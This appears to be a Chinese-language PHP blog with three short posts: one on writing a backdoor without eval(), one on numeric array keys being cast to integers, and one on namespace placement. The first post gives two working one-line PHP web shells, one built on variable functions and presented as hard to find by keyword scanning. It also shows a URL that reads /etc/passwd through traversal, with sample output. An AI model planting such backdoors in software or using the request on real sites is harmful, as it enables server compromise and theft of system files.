2016/05/22

不需要 PHP eval() 即可執行使用者自訂動作的寫法

以往 PHP 後門都用很簡單的語法去撰寫,例如:
echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:
echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊:
http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD

PHP array key 的資料型態

之前因為 array_merge() 花了很久的時間 debug,這次發現其實不只 array_merge() 會需要注意資料型態的問題,其他 statement 也要注意。

這次遇到是因為使用 time 當作 array 的 key 時發現的:
$timeTable = [];
$timeTable['0800'] = '早上';
$timeTable['1200'] = '中午';
$timeTable['2000'] = '晚上';

取直時發現資料型態和 assign 時不一樣,可以被轉成數字的全部變成數字了:
array(3) {
  ["0800"]=>
  string(6) "早上"
  [1200]=>
  string(6) "中午"
  [2000]=>
  string(6) "晚上"
}


原因是 PHP array 的預設行為,是會自動對 key 作 type casting。可被判斷成數值的 (is_numeric()) 都會自動被轉為 int。所以撰寫時要注意,如果 array 的 key 若需要避免被 casting 時,必須手動加上一些字元讓 is_numeric() 無法將其判斷為數字。

以上面的例子,可以將時間加上「:」
  • 08:00
  • 12:00
  • 20:00


Ref:

2016/05/15

PHP namespace

PHP 可以自行定義程式中定義的方法、類別所屬的 namespace,但是若在 namespace 定義之前就先就先寫了其他 statement則會出現錯誤訊息。例如以下的程式:
<?php

$a = 1;

namespace Zeroplex;

執行後變會出現錯誤訊息:
Fatal error: Namespace declaration statement has to be the very first statement in the script ....

主要是因為變數、函式、類別都可以有自己所屬的 namespace,若沒有事先定義該程式所屬的 namespace,PHP 則會造成混淆而發生錯誤。

總之,namespace 的定義,直接方在 open tag 之後的第一行,避免這類問題發生。